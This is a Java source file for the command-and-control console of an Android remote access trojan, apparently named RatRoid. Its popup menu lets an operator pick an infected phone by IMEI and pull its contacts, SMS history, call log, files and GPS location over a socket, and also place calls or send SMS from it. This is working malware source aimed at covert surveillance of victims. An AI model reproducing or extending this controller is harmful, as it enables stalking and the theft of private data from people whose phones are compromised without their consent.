/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
package GUI;

import Control.Clients;
import RatRoid.Main;
import java.awt.BorderLayout;
import java.awt.Image;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.PrintWriter;
import java.util.logging.Level;
import java.util.logging.Logger;
import javax.swing.ImageIcon;
import javax.swing.JFrame;
import javax.swing.JMenuItem;
import javax.swing.JOptionPane;
import javax.swing.JPopupMenu;
import javax.swing.SwingUtilities;
import javax.swing.SwingWorker;

/**
 *
 * @author Sam
 */
public class PopupMenu extends JPopupMenu {
    FileGui fmgr;
    private JMenuItem info;
    private JMenuItem contact;
    private JMenuItem location;
    private JMenuItem tools;
    private JMenuItem call;
    private JMenuItem msg;
    private JMenuItem logcall;
    private JMenuItem logmsg;
    private JMenuItem filemgr;
    private JMenuItem disconnect;
    private String title;
    public PopupMenu(){
        info = new JMenuItem("Show Phone Information");
        ImageIcon icon= new javax.swing.ImageIcon(getClass().getResource("/res/info2.png"));
        Image img = icon.getImage();
	Image newimg = img.getScaledInstance(24, 24, java.awt.Image.SCALE_SMOOTH);
	ImageIcon iconres = new ImageIcon(newimg);
        info.setIcon(iconres);
        info.addActionListener(new java.awt.event.ActionListener() {
            @Override
			public void actionPerformed(java.awt.event.ActionEvent evt) {
                ButtonGetInfo();
            }
        });
        add(info);
        
        filemgr = new JMenuItem("File Manager");
        filemgr.setIcon(new javax.swing.ImageIcon(getClass().getResource("/res/file.png")));
        filemgr.addActionListener(new java.awt.event.ActionListener() {
            @Override
			public void actionPerformed(java.awt.event.ActionEvent evt) {
                ButtonFile();
            }
        });
        add(filemgr);
        
        location = new JMenuItem("Device Location");
        location.setIcon(new javax.swing.ImageIcon(getClass().getResource("/res/gps.png")));
        location.addActionListener(new java.awt.event.ActionListener() {
            @Override
            
			public void actionPerformed(java.awt.event.ActionEvent evt) {
                                
 ObjectInputStream ois1;
      InputStream is1;
      String[] recep1;
      PrintWriter out;

for (final Clients client1 : Main.threads.getthreads()) {
    
    int row = MainGui.Tuser.jTable1.getSelectedRow();
                                    
                                
        if(row != -1) {
        	final String imei = (String) MainGui.Tuser.mymodel.getValueAt(row, 1);
        	
        	if(imei != null) {
if (client1.getthread().getName().equals(imei)) {
                if(client1.available){
             client1.available=false;
             client1.doing=" This Client is getting Device Location,please try again in a second ";
             try {
                out = new PrintWriter(client1.getsocket().getOutputStream());
                
                out.println("gps"+imei);
                out.flush();

                is1 = client1.getsocket().getInputStream();
                ois1 = new ObjectInputStream(is1);
                 recep1 = (String[]) ois1.readObject();
                 client1.available=true;
                 final String x = recep1[0]+","+recep1[1];
                 
                                
                       Thread readthread = new Thread(new Runnable() {
                           @Override
				public void run() {
//                                 UIUtils.setPreferredLookAndFeel();
    chrriis.dj.nativeswing.swtimpl.NativeInterface.open();
    SwingUtilities.invokeLater(new Runnable() {
      public void run() {
        JFrame frame = new JFrame("Client location [ "+imei+" ]");
        frame.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
        frame.getContentPane().add(new DjWeb(x), BorderLayout.CENTER);
        frame.setSize(800, 600);
        frame.setLocationByPlatform(true);
        frame.setVisible(true);
      }
    });
    chrriis.dj.nativeswing.swtimpl.NativeInterface.runEventPump();
                                }});
                       readthread.start();
 /*   Qt WebView                            String [] arr = new String[0];
                                QApplication.initialize(arr);
                                        
                                        QMainWindow wind=new QMainWindow();
                                        browser = new QWebView(wind);
                                        QVBoxLayout layout = new QVBoxLayout();
                                        QPushButton button1 = new QPushButton("button1");
QPushButton button2 = new QPushButton("button2");
layout.addWidget(browser);
layout.addWidget(button1);
layout.addWidget(button2);
wind.setCentralWidget(new QWidget());
wind.centralWidget().setLayout(layout);
QUrl myurl=new QUrl(x);
                                        wind.show();
                                        browser.load(myurl);
                    //new HelloWebKit(x).show();
                        System.out.println("widget");
                        browser.disconnect();
                        browser.close();
                    QApplication.exec();
                    //QApplication.quit();
                    //QApplication.exit();
                    
                    //browser.dispose();
                    //app.dispose();
                    //wind.dispose();
                    System.out.println("ta7t exec");
                    //browser.disconnect();
                    System.out.println("ta7t discon");
                   //wind.hide();
                   // QApplication.exit();
                   // QThread.currentThread().interrupt();
*/
                                    
                    
                        
                }
             catch (IOException e) {
                client1.available=true;
                
            }
             catch (ClassNotFoundException ex) {
             client1.available=true;

             }
          catch(NullPointerException e){
            client1.available=true;
           Logger.getLogger(Main.class.getName()).log(Level.SEVERE, null, e);
       }
                 
                 
                }
                else {
               Thread msgThread = new Thread(new Runnable() {
                           @Override
				public void run() {
                               JOptionPane.showMessageDialog(null,client1.doing , "Client busy!", JOptionPane.INFORMATION_MESSAGE);
                                }});
                       msgThread.start();
           }  
            }
                 } 
      	}
        	
        
    
}}      
        });
        add(location);
        
        tools = new JMenuItem("Tools And Settings");
        ImageIcon icon1= new javax.swing.ImageIcon(getClass().getResource("/res/tools.png"));
        Image img1 = icon1.getImage();
	Image newimg1 = img1.getScaledInstance(24, 24, java.awt.Image.SCALE_SMOOTH);
	ImageIcon iconres1 = new ImageIcon(newimg1);
        tools.setIcon(iconres1);
        tools.addActionListener(new java.awt.event.ActionListener() {
            @Override
			public void actionPerformed(java.awt.event.ActionEvent evt) {
                ButtonTools();
            }
        });
        add(tools);
        
        contact = new JMenuItem("Show Contacts");
        contact.setIcon(new javax.swing.ImageIcon(getClass().getResource("/res/contact2.png")));
             contact.addActionListener(new java.awt.event.ActionListener() {
            @Override
			public void actionPerformed(java.awt.event.ActionEvent evt) {
                ButtonGetContact();
            }
        });
        add(contact);
        call = new JMenuItem("Make A Phone Call");
        call.setIcon(new javax.swing.ImageIcon(getClass().getResource("/res/phonecall.png")));
                call.addActionListener(new java.awt.event.ActionListener() {
            @Override
			public void actionPerformed(java.awt.event.ActionEvent evt) {
                ButtonCall();
            }
        });
        
        add(call);
        msg = new JMenuItem("Send SMS");
        msg.setIcon(new javax.swing.ImageIcon(getClass().getResource("/res/msgsend.png")));
        msg.addActionListener(new java.awt.event.ActionListener() {
            @Override
			public void actionPerformed(java.awt.event.ActionEvent evt) {
                ButtonSendSms();
            }
        });
        add(msg);
        logcall = new JMenuItem("Show Call log");
        logcall.setIcon(new javax.swing.ImageIcon(getClass().getResource("/res/call.png")));
        logcall.addActionListener(new java.awt.event.ActionListener() {
            @Override
			public void actionPerformed(java.awt.event.ActionEvent evt) {
                ButtonCallLog();
            }
        });
        add(logcall);
        logmsg = new JMenuItem("Show Message History");
        logmsg.setIcon(new javax.swing.ImageIcon(getClass().getResource("/res/msghis.png")));
        logmsg.addActionListener(new java.awt.event.ActionListener() {
            @Override
			public void actionPerformed(java.awt.event.ActionEvent evt) {
                ButtonGetSms();
            }
        });
        add(logmsg);
        disconnect = new JMenuItem("Disconnect Device");
        disconnect.setIcon(new javax.swing.ImageIcon(getClass().getResource("/res/delete.png")));
        disconnect.addActionListener(new java.awt.event.ActionListener() {
            @Override
			public void actionPerformed(java.awt.event.ActionEvent evt) {
                SwingWorker worker = new SwingWorker<Void, Void>() {

   @Override
   protected Void doInBackground() throws Exception {
     
                String imei=null;
                int row = MainGui.Tuser.jTable1.getSelectedRow();
                if(row != -1) {
        	imei = (String) MainGui.Tuser.mymodel.getValueAt(row, 1);}
            for (final Clients client1 : Main.threads.getthreads()) {
                if (client1.getthread().getName().equals(imei)) {
                    
      PrintWriter out;
         if(client1.available){
             client1.available=false;
            try {
                out = new PrintWriter(client1.getsocket().getOutputStream());
                out.println("dis"+imei);
                out.flush();
                
                client1.available=true;
                
            }
            catch (IOException e) {
                 //this.dispose();
                 client1.available=true;
                
            }
             
                client1.available=true;
         }
         else {
               client1.getsocket().close();
           }  
            }
            }
      return null;
   }
};
        worker.execute();
            }
        });
        add(disconnect);
    }
        private void ButtonGetInfo() {
    	int row = MainGui.Tuser.jTable1.getSelectedRow();
        if(row != -1) {
        	String imei = (String) MainGui.Tuser.mymodel.getValueAt(row, 1);
        	
        	if(imei != null) {
	        	Infos ginfo = new Infos(imei);
        	}
        	
        } else {
        	JOptionPane.showMessageDialog(this,"Please select a client\n No client selected !","Client Offline !",JOptionPane.ERROR_MESSAGE);
        }
    }
        private void ButtonTools() {
    	int row = MainGui.Tuser.jTable1.getSelectedRow();
        if(row != -1) {
        	String imei = (String) MainGui.Tuser.mymodel.getValueAt(row, 1);
        	
        	if(imei != null) {
	        	Tools guitools = new Tools(imei);
        	}
        	
        } else {
        	JOptionPane.showMessageDialog(this,"Please select a client\n No client selected !","Client Offline !",JOptionPane.ERROR_MESSAGE);
        }
    }
        private void ButtonSendSms(){
    	int row = MainGui.Tuser.jTable1.getSelectedRow();
        if(row != -1) {
        	String imei = (String) MainGui.Tuser.mymodel.getValueAt(row, 1);
        	
        	if(imei != null) {
	        	SendSms gsendsms = new SendSms(imei);
        	}
        	
        } else {
        	JOptionPane.showMessageDialog(this,"Please select a client\n No client selected !","Client Offline !",JOptionPane.ERROR_MESSAGE);
        }            
        
        }
        
        private void ButtonFile(){
    	int row = MainGui.Tuser.jTable1.getSelectedRow();
        if(row != -1) {
        	String imei = (String) MainGui.Tuser.mymodel.getValueAt(row, 1);
        	
        	if(imei != null) {
	        	 fmgr = new FileGui();
        	}
        	
        } else {
        	JOptionPane.showMessageDialog(this,"Please select a client\n No client selected !","Client Offline !",JOptionPane.ERROR_MESSAGE);
        }            
        
        }
        
                private void ButtonGetContact(){
    	int row = MainGui.Tuser.jTable1.getSelectedRow();
        if(row != -1) {
        	String imei = (String) MainGui.Tuser.mymodel.getValueAt(row, 1);
        	
        	if(imei != null) {
	        	GetContact contact = new GetContact(imei);
        	}
        	
        } else {
        	JOptionPane.showMessageDialog(this,"Please select a client\n No client selected !","Client Offline !",JOptionPane.ERROR_MESSAGE);
        }            
        
        }
        
                private void ButtonGetSms(){
    	int row = MainGui.Tuser.jTable1.getSelectedRow();
        if(row != -1) {
        	String imei = (String) MainGui.Tuser.mymodel.getValueAt(row, 1);
        	
        	if(imei != null) {
	        	GetSms getsms = new GetSms(imei);
        	}
        	
        } else {
        	JOptionPane.showMessageDialog(this,"Please select a client\n No client selected !","Client Offline !",JOptionPane.ERROR_MESSAGE);
        }            
        
        }
        
        private void ButtonCall(){
    	int row = MainGui.Tuser.jTable1.getSelectedRow();
        if(row != -1) {
        	String imei = (String) MainGui.Tuser.mymodel.getValueAt(row, 1);
        	
        	if(imei != null) {
	        	Call gcall = new Call(imei);
        	}
        	
        } else {
        	JOptionPane.showMessageDialog(this,"Please select a client\n No client selected !","Client Offline !",JOptionPane.ERROR_MESSAGE);
        }            
        
        }
        private void ButtonCallLog() {
    	int row = MainGui.Tuser.jTable1.getSelectedRow();
        if(row != -1) {
        	String imei = (String) MainGui.Tuser.mymodel.getValueAt(row, 1);
        	
        	if(imei != null) {
	        	CallLog logcall = new CallLog(imei);
        	}
        	
        } else {
        	JOptionPane.showMessageDialog(this,"Please select a client\n No client selected !","Client Offline !",JOptionPane.ERROR_MESSAGE);
        }
    }
        
}

